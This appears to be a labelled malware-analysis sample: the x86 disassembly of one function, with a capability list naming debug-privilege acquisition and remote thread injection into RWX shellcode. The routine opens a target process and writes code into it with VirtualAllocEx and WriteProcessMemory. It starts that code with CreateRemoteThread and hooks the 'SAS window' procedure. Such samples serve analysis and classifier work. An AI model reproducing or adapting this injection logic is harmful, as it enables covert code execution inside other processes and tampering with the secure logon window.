Function at 0x100012fc
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100071a0
push 0x10002ca8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0xc0
push ebx
push esi
push edi
and dword [ebp - 0xc0], 0
and dword [ebp - 0xd0], 0
and dword [ebp - 0xb8], 0
and dword [ebp - 0xbc], 0
and dword [ebp - 0xa8], 0
and dword [ebp - 0xac], 0
and dword [ebp - 0xb4], 0
and dword [ebp - 0xc4], 0
push 1
push str.SeDebugPrivilege
call fcn.10001018
pop ecx
pop ecx
test eax, eax
jne 0x10001375
xor eax, eax
jmp 0x10001a0a
push str.user32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x10001396
xor eax, eax
jmp 0x10001a0a
cmp dword [0x10009038], 0xffffffff
jne 0x100013c0
push dword [0x10009034]
call fcn.100012b0
pop ecx
mov dword [0x10009038], eax
cmp dword [0x10009038], 0xffffffff
jne 0x100013c0
xor eax, eax
jmp 0x10001a0a
cmp dword [ebp - 0xc0], 0
jne 0x100013f2
push dword [0x10009038]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jne 0x100013f2
xor eax, eax
jmp 0x10001a0a
and dword [ebp - 4], 0
push str.SAS_Window_class
lea eax, [ebp - 0x94]
push eax
call fcn.10002ac0
pop ecx
pop ecx
push str.SAS_window
lea eax, [ebp - 0x62]
push eax
call fcn.10002ac0
pop ecx
pop ecx
push str.FindWindowA
push dword [ebp - 0xd0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x1000143e
jmp 0x10001902
mov dword [ebp - 0x24], 0x7c
cmp dword [0x1000bfbc], 0
jne 0x10001479
push 0x40
push 0x1000
push dword [ebp - 0x24]
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x1000bfbc], eax
cmp dword [0x1000bfbc], 0
jne 0x10001479
jmp 0x10001902
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x24]
lea eax, [ebp - 0xa0]
push eax
push dword [0x1000bfbc]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100014ab
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x100014b0
jmp 0x10001902
mov eax, 0x10001abe
sub eax, 0x10001aa3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0xbc], 0
jne 0x100014f2
push 0x40
push 0x1000
push dword [ebp - 0x24]
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x100014f2
jmp 0x10001902
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x24]
push 0x10001aa3
push dword [ebp - 0xbc]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001522
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x10001527
jmp 0x10001902
lea eax, [ebp - 0xac]
push eax
push 0
push dword [0x1000bfbc]
push dword [ebp - 0xbc]
push 0
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x10001560
jmp 0x10001902
push 0xffffffffffffffff
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xcc]
push eax
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0xcc], 0
jne 0x1000158f
jmp 0x10001902
cmp dword [ebp - 0xbc], 0
je 0x100015b8
push 0x8000
push 0
push dword [ebp - 0xbc]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
and dword [ebp - 0xbc], 0
cmp dword [0x1000bfbc], 0
je 0x100015e1
push 0x8000
push 0
push dword [0x1000bfbc]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
and dword [0x1000bfbc], 0
mov eax, 0x10001a65
sub eax, 0x10001a19
mov dword [ebp - 0x24], eax
cmp dword [0x1000bfb8], 0
jne 0x10001622
push 0x40
push 0x1000
push dword [ebp - 0x24]
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x1000bfb8], eax
cmp dword [0x1000bfb8], 0
jne 0x10001622
jmp 0x10001902
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x24]
push 0x10001a19
push dword [0x1000bfb8]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001652
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x10001657
jmp 0x10001902
push dword [ebp - 0xcc]
call dword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
je 0x1000167e
mov dword [ebp - 0xd4], str.SetWindowLongW
jmp 0x10001688
mov dword [ebp - 0xd4], str.SetWindowLongA
push dword [ebp - 0xd4]
push dword [ebp - 0xd0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa4], 0
je 0x100016b5
mov dword [ebp - 0xd8], str.CallWindowProcW
jmp 0x100016bf
mov dword [ebp - 0xd8], str.CallWindowProcA
push dword [ebp - 0xd8]
push dword [ebp - 0xd0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x9c], eax
mov eax, dword [0x1000bfb8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0xa0], 0
je 0x100016fa
cmp dword [ebp - 0x9c], 0
jne 0x100016ff
jmp 0x10001902
mov dword [ebp - 0x24], 0x7c
cmp dword [0x1000bfbc], 0
jne 0x1000173a
push 0x40
push 0x1000
push dword [ebp - 0x24]
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x1000bfbc], eax
cmp dword [0x1000bfbc], 0
jne 0x1000173a
jmp 0x10001902
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x24]
lea eax, [ebp - 0xa0]
push eax
push dword [0x1000bfbc]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000176c
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x10001771
jmp 0x10001902
mov dword [ebp - 0x1c], 0x10001a19
mov eax, 0x10001a65
sub eax, 0x10001a19
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 3
mov dword [ebp - 0xc8], eax
and dword [ebp - 0x20], 0
jmp 0x100017ab
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jle 0x10001810
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0x12345678
jne 0x1000180e
mov eax, dword [ebp - 0x1c]
sub eax, 0x10001a19
mov dword [ebp - 0xb0], eax
lea eax, [ebp - 0xc4]
push eax
push 4
push 0x1000bfbc
mov eax, dword [0x1000bfb8]
add eax, dword [ebp - 0xb0]
push eax
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001800
cmp dword [ebp - 0xc4], 4
je 0x10001805
jmp 0x10001902
mov dword [ebp - 0x20], 1
jmp 0x10001810
jmp 0x10001797
cmp dword [ebp - 0x20], 0
jne 0x1000181b
jmp 0x10001902
mov eax, 0x10001a9b
sub eax, 0x10001a6d
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0xb8], 0
jne 0x1000185d
push 0x40
push 0x1000
push dword [ebp - 0x24]
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x1000185d
jmp 0x10001902
lea eax, [ebp - 0xc4]
push eax
push dword [ebp - 0x24]
push 0x10001a6d
push dword [ebp - 0xb8]
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000188d
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x24]
je 0x1000188f
jmp 0x10001902
cmp dword [ebp - 0xa8], 0
je 0x100018ab
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [ebp - 0xa8], 0
lea eax, [ebp - 0xac]
push eax
push 0
push dword [0x1000bfbc]
push dword [ebp - 0xb8]
push 0
push 0
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jne 0x100018e1
jmp 0x10001902
push 0xffffffffffffffff
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0xb4]
push eax
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
or dword [ebp - 4], 0xffffffff
call fcn.10001910
jmp 0x100019f6
push 0
push str.SeDebugPrivilege
call fcn.10001018
pop ecx
pop ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret